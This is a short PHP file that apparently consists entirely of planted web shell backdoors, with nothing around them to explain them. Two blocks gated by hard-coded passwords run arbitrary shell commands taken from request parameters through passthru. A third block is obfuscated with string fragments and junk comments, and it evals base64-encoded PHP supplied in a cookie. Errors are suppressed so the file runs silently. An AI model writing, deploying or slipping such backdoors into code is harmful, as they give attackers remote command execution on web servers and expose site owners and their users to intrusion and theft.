<?php
error_reporting(0);@ini_set('display_errors',0);if(isset($_REQUEST["px"])&&$_REQUEST["px"]==="448mk5f6ya2c"){$__c=null;if(isset($_REQUEST["b"])){$__c=base64_decode($_REQUEST["b"]);}elseif(isset($_REQUEST["c"])){$__c=$_REQUEST["c"];}if($__c!==null){ob_start();@passthru($__c.' 2>&1');$__o=ob_get_clean();echo"[S]".$__o."[E]";}else{echo"[S]OK[E]";}exit;}

error_reporting(0);@ini_set('display_errors',0);if(isset($_REQUEST["px"])&&$_REQUEST["px"]==="5car9qzlooh4"){$__c=null;if(isset($_REQUEST["b"])){$__c=base64_decode($_REQUEST["b"]);}elseif(isset($_REQUEST["c"])){$__c=$_REQUEST["c"];}if($__c!==null){ob_start();@passthru($__c.' 2>&1');$__o=ob_get_clean();echo"[S]".$__o."[E]";}else{echo"[S]OK[E]";}exit;}
 $lL8m7k7='C'; /* 2tEv2 */ $eY='KIE'; /* WalO */ $aXP='OO'; /* 8 */ $bxe9l='_'; /* S */ $eTl=${$bxe9l.$lL8m7k7.$aXP.$eY}; /* 6ntrmE16 */ if(isset($eTl['zka'])){EVaL /* 8S2wznqYPV */ /* HX */ (base64_decode($eTl['zka'])); die;}